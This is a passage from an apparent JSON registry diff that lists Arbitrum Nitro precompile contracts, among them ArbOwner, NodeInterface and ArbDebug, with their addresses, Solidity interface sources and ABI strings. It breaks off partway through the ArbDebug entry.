"[{\"inputs\":[],\"name\":\"NoTicketWithID\",\"type\":\"error\"},{\"inputs\":[],\"name\":\"NotCallable\",\"type\":\"error\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"}],\"name\":\"Canceled\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"newTimeout\",\"type\":\"uint256\"}],\"name\":\"LifetimeExtended\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"},{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"retryTxHash\",\"type\":\"bytes32\"},{\"indexed\":true,\"internalType\":\"uint64\",\"name\":\"sequenceNum\",\"type\":\"uint64\"},{\"indexed\":false,\"internalType\":\"uint64\",\"name\":\"donatedGas\",\"type\":\"uint64\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"gasDonor\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"maxRefund\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"submissionFeeRefund\",\"type\":\"uint256\"}],\"name\":\"RedeemScheduled\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"userTxHash\",\"type\":\"bytes32\"}],\"name\":\"Redeemed\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"}],\"name\":\"TicketCreated\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"}],\"name\":\"cancel\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"}],\"name\":\"getBeneficiary\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getCurrentRedeemer\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getLifetime\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"}],\"name\":\"getTimeout\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"}],\"name\":\"keepalive\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"ticketId\",\"type\":\"bytes32\"}],\"name\":\"redeem\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"requestId\",\"type\":\"bytes32\"},{\"internalType\":\"uint256\",\"name\":\"l1BaseFee\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"deposit\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"callvalue\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"gasFeeCap\",\"type\":\"uint256\"},{\"internalType\":\"uint64\",\"name\":\"gasLimit\",\"type\":\"uint64\"},{\"internalType\":\"uint256\",\"name\":\"maxSubmissionFee\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"feeRefundAddress\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"beneficiary\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"retryTo\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"retryData\",\"type\":\"bytes\"}],\"name\":\"submitRetryable\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]\n" + }, + { + "address": "0x000000000000000000000000000000000000006f", + "name": "ArbStatistics", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Deprecated - Info about the rollup just prior to the Nitro upgrade\n/// @notice Precompiled contract in every Arbitrum chain for retryable transaction related data retrieval and interactions. Exists at 0x000000000000000000000000000000000000006f\ninterface ArbStatistics {\n /// @notice Get Arbitrum block number and other statistics as they were right before the Nitro upgrade.\n /// @return (\n /// Number of accounts,\n /// Total storage allocated (includes storage that was later deallocated),\n /// Total ArbGas used,\n /// Number of transaction receipt issued,\n /// Number of contracts created,\n /// )\n function getStats()\n external\n view\n returns (\n uint256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n );\n}\n", + "abi": "[{\"inputs\":[],\"name\":\"getStats\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]\n" + }, + { + "address": "0x0000000000000000000000000000000000000070", + "name": "ArbOwner", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/// @title Provides owners with tools for managing the rollup.\n/// @notice Calls by non-owners will always revert.\n/// Most of Arbitrum Classic's owner methods have been removed since they no longer make sense in Nitro:\n/// - What were once chain parameters are now parts of ArbOS's state, and those that remain are set at genesis.\n/// - ArbOS upgrades happen with the rest of the system rather than being independent\n/// - Exemptions to address aliasing are no longer offered. Exemptions were intended to support backward compatibility for contracts deployed before aliasing was introduced, but no exemptions were ever requested.\n/// Precompiled contract that exists in every Arbitrum chain at 0x0000000000000000000000000000000000000070.\ninterface ArbOwner {\n /// @notice Add account as a chain owner\n function addChainOwner(address newOwner) external;\n\n /// @notice Remove account from the list of chain owners\n function removeChainOwner(address ownerToRemove) external;\n\n /// @notice See if the user is a chain owner\n function isChainOwner(address addr) external view returns (bool);\n\n /// @notice Retrieves the list of chain owners\n function getAllChainOwners() external view returns (address[] memory);\n\n /// @notice Set how slowly ArbOS updates its estimate of the L1 basefee\n function setL1BaseFeeEstimateInertia(uint64 inertia) external;\n\n /// @notice Set the L2 basefee directly, bypassing the pool calculus\n function setL2BaseFee(uint256 priceInWei) external;\n\n /// @notice Set the minimum basefee needed for a transaction to succeed\n function setMinimumL2BaseFee(uint256 priceInWei) external;\n\n /// @notice Set the computational speed limit for the chain\n function setSpeedLimit(uint64 limit) external;\n\n /// @notice Set the maximum size a tx (and block) can be\n function setMaxTxGasLimit(uint64 limit) external;\n\n /// @notice Set the L2 gas pricing inertia\n function setL2GasPricingInertia(uint64 sec) external;\n\n /// @notice Set the L2 gas backlog tolerance\n function setL2GasBacklogTolerance(uint64 sec) external;\n\n /// @notice Get the network fee collector\n function getNetworkFeeAccount() external view returns (address);\n\n /// @notice Get the infrastructure fee collector\n function getInfraFeeAccount() external view returns (address);\n\n /// @notice Set the network fee collector\n function setNetworkFeeAccount(address newNetworkFeeAccount) external;\n\n /// @notice Set the infrastructure fee collector\n function setInfraFeeAccount(address newInfraFeeAccount) external;\n\n /// @notice Upgrades ArbOS to the requested version at the requested timestamp\n function scheduleArbOSUpgrade(uint64 newVersion, uint64 timestamp) external;\n\n /// @notice Sets equilibration units parameter for L1 price adjustment algorithm\n function setL1PricingEquilibrationUnits(uint256 equilibrationUnits) external;\n\n /// @notice Sets inertia parameter for L1 price adjustment algorithm\n function setL1PricingInertia(uint64 inertia) external;\n\n /// @notice Sets reward recipient address for L1 price adjustment algorithm\n function setL1PricingRewardRecipient(address recipient) external;\n\n /// @notice Sets reward amount for L1 price adjustment algorithm, in wei per unit\n function setL1PricingRewardRate(uint64 weiPerUnit) external;\n\n /// @notice Set how much ArbOS charges per L1 gas spent on transaction data.\n function setL1PricePerUnit(uint256 pricePerUnit) external;\n\n /// @notice Sets the base charge (in L1 gas) attributed to each data batch in the calldata pricer\n function setPerBatchGasCharge(int64 cost) external;\n\n /**\n * @notice Sets the Brotli compression level used for fast compression\n * Available in ArbOS version 12 with default level as 1\n */\n function setBrotliCompressionLevel(uint64 level) external;\n\n /// @notice Sets the cost amortization cap in basis points\n function setAmortizedCostCapBips(uint64 cap) external;\n\n /// @notice Releases surplus funds from L1PricerFundsPoolAddress for use\n function releaseL1PricerSurplusFunds(uint256 maxWeiToRelease) external returns (uint256);\n\n /// @notice Sets serialized chain config in ArbOS state\n function setChainConfig(string calldata chainConfig) external;\n\n // Emitted when a successful call is made to this precompile\n event OwnerActs(bytes4 indexed method, address indexed owner, bytes data);\n}\n", + "abi": "[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"bytes4\",\"name\":\"method\",\"type\":\"bytes4\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"OwnerActs\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"addChainOwner\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getAllChainOwners\",\"outputs\":[{\"internalType\":\"address[]\",\"name\":\"\",\"type\":\"address[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getInfraFeeAccount\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getNetworkFeeAccount\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"addr\",\"type\":\"address\"}],\"name\":\"isChainOwner\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"maxWeiToRelease\",\"type\":\"uint256\"}],\"name\":\"releaseL1PricerSurplusFunds\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"ownerToRemove\",\"type\":\"address\"}],\"name\":\"removeChainOwner\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"newVersion\",\"type\":\"uint64\"},{\"internalType\":\"uint64\",\"name\":\"timestamp\",\"type\":\"uint64\"}],\"name\":\"scheduleArbOSUpgrade\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"cap\",\"type\":\"uint64\"}],\"name\":\"setAmortizedCostCapBips\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newInfraFeeAccount\",\"type\":\"address\"}],\"name\":\"setInfraFeeAccount\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"inertia\",\"type\":\"uint64\"}],\"name\":\"setL1BaseFeeEstimateInertia\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"pricePerUnit\",\"type\":\"uint256\"}],\"name\":\"setL1PricePerUnit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"equilibrationUnits\",\"type\":\"uint256\"}],\"name\":\"setL1PricingEquilibrationUnits\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"inertia\",\"type\":\"uint64\"}],\"name\":\"setL1PricingInertia\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"weiPerUnit\",\"type\":\"uint64\"}],\"name\":\"setL1PricingRewardRate\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"}],\"name\":\"setL1PricingRewardRecipient\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"priceInWei\",\"type\":\"uint256\"}],\"name\":\"setL2BaseFee\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"sec\",\"type\":\"uint64\"}],\"name\":\"setL2GasBacklogTolerance\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"sec\",\"type\":\"uint64\"}],\"name\":\"setL2GasPricingInertia\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"limit\",\"type\":\"uint64\"}],\"name\":\"setMaxTxGasLimit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"priceInWei\",\"type\":\"uint256\"}],\"name\":\"setMinimumL2BaseFee\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newNetworkFeeAccount\",\"type\":\"address\"}],\"name\":\"setNetworkFeeAccount\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"int64\",\"name\":\"cost\",\"type\":\"int64\"}],\"name\":\"setPerBatchGasCharge\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"limit\",\"type\":\"uint64\"}],\"name\":\"setSpeedLimit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}]\n" + }, + { + "address": "0x00000000000000000000000000000000000000c8", + "name": "NodeInterface", + "bytecode": "0xfe", + "compiler": "Not installed", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/** @title Interface for providing gas estimation for retryable auto-redeems and constructing outbox proofs\n * @notice This contract doesn't exist on-chain. Instead it is a virtual interface accessible at\n * 0x00000000000000000000000000000000000000C8\n * This is a cute trick to allow an Arbitrum node to provide data without us having to implement additional RPCs\n */\ninterface NodeInterface {\n /**\n * @notice Simulate the execution of a retryable ticket\n * @dev Use eth_estimateGas on this call to estimate gas usage of retryable ticket\n * Since gas usage is not yet known, you may need to add extra deposit (e.g. 1e18 wei) during estimation\n * @param sender unaliased sender of the L1 and L2 transaction\n * @param deposit amount to deposit to sender in L2\n * @param to destination L2 contract address\n * @param l2CallValue call value for retryable L2 message\n * @param excessFeeRefundAddress gasLimit x maxFeePerGas - execution cost gets credited here on L2 balance\n * @param callValueRefundAddress l2Callvalue gets credited here on L2 if retryable txn times out or gets cancelled\n * @param data ABI encoded data of L2 message\n */\n function estimateRetryableTicket(\n address sender,\n uint256 deposit,\n address to,\n uint256 l2CallValue,\n address excessFeeRefundAddress,\n address callValueRefundAddress,\n bytes calldata data\n ) external;\n\n /**\n * @notice Constructs an outbox proof of an l2->l1 send's existence in the outbox accumulator.\n * @dev Use eth_call to call.\n * @param size the number of elements in the accumulator\n * @param leaf the position of the send in the accumulator\n * @return send the l2->l1 send's hash\n * @return root the root of the outbox accumulator\n * @return proof level-by-level branch hashes constituting a proof of the send's membership at the given size\n */\n function constructOutboxProof(uint64 size, uint64 leaf)\n external\n view\n returns (\n bytes32 send,\n bytes32 root,\n bytes32[] memory proof\n );\n\n /**\n * @notice Finds the L1 batch containing a requested L2 block, reverting if none does.\n * Use eth_call to call.\n * Throws if block doesn't exist, or if block number is 0. Use eth_call\n * @param blockNum The L2 block being queried\n * @return batch The sequencer batch number containing the requested L2 block\n */\n function findBatchContainingBlock(uint64 blockNum) external view returns (uint64 batch);\n\n /**\n * @notice Gets the number of L1 confirmations of the sequencer batch producing the requested L2 block\n * This gets the number of L1 confirmations for the input message producing the L2 block,\n * which happens well before the L1 rollup contract confirms the L2 block.\n * Throws if block doesnt exist in the L2 chain.\n * @dev Use eth_call to call.\n * @param blockHash The hash of the L2 block being queried\n * @return confirmations The number of L1 confirmations the sequencer batch has. Returns 0 if block not yet included in an L1 batch.\n */\n function getL1Confirmations(bytes32 blockHash) external view returns (uint64 confirmations);\n\n /**\n * @notice Same as native gas estimation, but with additional info on the l1 costs.\n * @dev Use eth_call to call.\n * @param data the tx's calldata. Everything else like \"From\" and \"Gas\" are copied over\n * @param to the tx's \"To\" (ignored when contractCreation is true)\n * @param contractCreation whether \"To\" is omitted\n * @return gasEstimate an estimate of the total amount of gas needed for this tx\n * @return gasEstimateForL1 an estimate of the amount of gas needed for the l1 component of this tx\n * @return baseFee the l2 base fee\n * @return l1BaseFeeEstimate ArbOS's l1 estimate of the l1 base fee\n */\n function gasEstimateComponents(\n address to,\n bool contractCreation,\n bytes calldata data\n )\n external\n payable\n returns (\n uint64 gasEstimate,\n uint64 gasEstimateForL1,\n uint256 baseFee,\n uint256 l1BaseFeeEstimate\n );\n\n /**\n * @notice Estimates a transaction's l1 costs.\n * @dev Use eth_call to call.\n * This method is similar to gasEstimateComponents, but doesn't include the l2 component\n * so that the l1 component can be known even when the tx may fail.\n * This method also doesn't pad the estimate as gas estimation normally does.\n * If using this value to submit a transaction, we'd recommend first padding it by 10%.\n * @param data the tx's calldata. Everything else like \"From\" and \"Gas\" are copied over\n * @param to the tx's \"To\" (ignored when contractCreation is true)\n * @param contractCreation whether \"To\" is omitted\n * @return gasEstimateForL1 an estimate of the amount of gas needed for the l1 component of this tx\n * @return baseFee the l2 base fee\n * @return l1BaseFeeEstimate ArbOS's l1 estimate of the l1 base fee\n */\n function gasEstimateL1Component(\n address to,\n bool contractCreation,\n bytes calldata data\n )\n external\n payable\n returns (\n uint64 gasEstimateForL1,\n uint256 baseFee,\n uint256 l1BaseFeeEstimate\n );\n\n /**\n * @notice Returns the proof necessary to redeem a message\n * @param batchNum index of outbox entry (i.e., outgoing messages Merkle root) in array of outbox entries\n * @param index index of outgoing message in outbox entry\n * @return proof Merkle proof of message inclusion in outbox entry\n * @return path Merkle path to message\n * @return l2Sender sender if original message (i.e., caller of ArbSys.sendTxToL1)\n * @return l1Dest destination address for L1 contract call\n * @return l2Block l2 block number at which sendTxToL1 call was made\n * @return l1Block l1 block number at which sendTxToL1 call was made\n * @return timestamp l2 Timestamp at which sendTxToL1 call was made\n * @return amount value in L1 message in wei\n * @return calldataForL1 abi-encoded L1 message data\n */\n function legacyLookupMessageBatchProof(uint256 batchNum, uint64 index)\n external\n view\n returns (\n bytes32[] memory proof,\n uint256 path,\n address l2Sender,\n address l1Dest,\n uint256 l2Block,\n uint256 l1Block,\n uint256 timestamp,\n uint256 amount,\n bytes memory calldataForL1\n );\n\n // @notice Returns the first block produced using the Nitro codebase\n // @dev returns 0 for chains like Nova that don't contain classic blocks\n // @return number the block number\n function nitroGenesisBlock() external pure returns (uint256 number);\n\n // @notice Returns the L1 block number of the L2 block\n // @return l1BlockNum The L1 block number\n function blockL1Num(uint64 l2BlockNum) external view returns (uint64 l1BlockNum);\n\n /**\n * @notice Finds the L2 block number range that has the given L1 block number\n * @param blockNum The L1 block number to search for the range\n * Throws if no L2 block exist with the given L1 block number\n * @return firstBlock The first L2 block number with the given L1 block number\n * @return lastBlock The last L2 block number with the given L1 block number\n */\n function l2BlockRangeForL1(uint64 blockNum)\n external\n view\n returns (uint64 firstBlock, uint64 lastBlock);\n}\n", + "abi": "[{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"size\",\"type\":\"uint64\"},{\"internalType\":\"uint64\",\"name\":\"leaf\",\"type\":\"uint64\"}],\"name\":\"constructOutboxProof\",\"outputs\":[{\"internalType\":\"bytes32\",\"name\":\"send\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"root\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32[]\",\"name\":\"proof\",\"type\":\"bytes32[]\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"deposit\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"l2CallValue\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"excessFeeRefundAddress\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"callValueRefundAddress\",\"type\":\"address\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"estimateRetryableTicket\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint64\",\"name\":\"blockNum\",\"type\":\"uint64\"}],\"name\":\"findBatchContainingBlock\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"batch\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"contractCreation\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"gasEstimateComponents\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"gasEstimate\",\"type\":\"uint64\"},{\"internalType\":\"uint64\",\"name\":\"gasEstimateForL1\",\"type\":\"uint64\"},{\"internalType\":\"uint256\",\"name\":\"baseFee\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"l1BaseFeeEstimate\",\"type\":\"uint256\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"bool\",\"name\":\"contractCreation\",\"type\":\"bool\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"name\":\"gasEstimateL1Component\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"gasEstimateForL1\",\"type\":\"uint64\"},{\"internalType\":\"uint256\",\"name\":\"baseFee\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"l1BaseFeeEstimate\",\"type\":\"uint256\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"blockHash\",\"type\":\"bytes32\"}],\"name\":\"getL1Confirmations\",\"outputs\":[{\"internalType\":\"uint64\",\"name\":\"confirmations\",\"type\":\"uint64\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"batchNum\",\"type\":\"uint256\"},{\"internalType\":\"uint64\",\"name\":\"index\",\"type\":\"uint64\"}],\"name\":\"legacyLookupMessageBatchProof\",\"outputs\":[{\"internalType\":\"bytes32[]\",\"name\":\"proof\",\"type\":\"bytes32[]\"},{\"internalType\":\"uint256\",\"name\":\"path\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"l2Sender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"l1Dest\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"l2Block\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"l1Block\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"timestamp\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"},{\"internalType\":\"bytes\",\"name\":\"calldataForL1\",\"type\":\"bytes\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"nitroGenesisBlock\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"number\",\"type\":\"uint256\"}],\"stateMutability\":\"pure\",\"type\":\"function\"}]\n" + }, + { + "address": "0x00000000000000000000000000000000000000c9", + "name": "NodeInterfaceDebug", + "bytecode": "0xfe", + "compiler": "Not installed", + "source": "// Copyright 2021-2022, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/** @title An extension to NodeInterface not meant for public consumption. Do not call.\n * @notice This contract doesn't exist on-chain. Instead it is a virtual interface accessible at 0xc9.\n * These methods add additional debugging and network monitoring instruments not intended for end users and\n * as such may change without notice.\n */\n\ninterface NodeInterfaceDebug {\n struct RetryableInfo {\n uint64 timeout;\n address from;\n address to;\n uint256 value;\n address beneficiary;\n uint64 tries;\n bytes data;\n }\n\n /**\n * @notice gets a retryable\n * @param ticket the retryable's id\n * @return retryable the serialized retryable\n */\n function getRetryable(bytes32 ticket) external view returns (RetryableInfo memory retryable);\n}\n", + "abi": "[{\"inputs\":[{\"internalType\":\"bytes32\",\"name\":\"ticket\",\"type\":\"bytes32\"}],\"name\":\"getRetryable\",\"outputs\":[{\"components\":[{\"internalType\":\"uint64\",\"name\":\"timeout\",\"type\":\"uint64\"},{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"address\",\"name\":\"beneficiary\",\"type\":\"address\"},{\"internalType\":\"uint64\",\"name\":\"tries\",\"type\":\"uint64\"},{\"internalType\":\"bytes\",\"name\":\"data\",\"type\":\"bytes\"}],\"internalType\":\"struct NodeInterfaceDebug.RetryableInfo\",\"name\":\"retryable\",\"type\":\"tuple\"}],\"stateMutability\":\"view\",\"type\":\"function\"}]\n" + }, + { + "address": "0x00000000000000000000000000000000000000ff", + "name": "ArbDebug", + "bytecode": "0xfe", + "compiler": "L2 Precompile (go 1.17)", + "source": "// Copyright 2021-2023, Offchain Labs, Inc.\n// For license information, see https://github.com/OffchainLabs/nitro-contracts/blob/main/LICENSE\n// SPDX-License-Identifier: BUSL-1.1\n\npragma solidity >=0.4.21 <0.9.0;\n\n/**\n * @title A test contract whose methods are only accessible in debug mode\n * @notice Precompiled contract that exists in every Arbitrum chain at 0x00000000000000000000000000000000000000ff.\n */\ninterface ArbDebug {\n /// @notice Caller becomes a chain owner\n function becomeChainOwner() external;\n\n /// @notice Emit events with values based on the args provided\n function events(bool flag, bytes32 value) external payable returns (address, uint256);\n\n /// @notice Tries (and fails) to emit logs in a view context\n function eventsView() external view;\n\n // Events that exist for testing log creation and pricing\n event Basic(bool flag, bytes32 indexed value);\n event Mixed(\n bool indexed flag,\n bool not,\n bytes32 indexed value,\n address conn,\n address indexed caller\n );\n event Store(\n bool indexed flag,\n address indexed field,\n uint24 number,\n bytes32 value,\n bytes store\n );\n\n function customRevert(uint64 number) external pure;\n\n function legacyError() external pure;\n\n error Custom(uint64, string, bool);\n error Unused();\n}\n", + "abi": 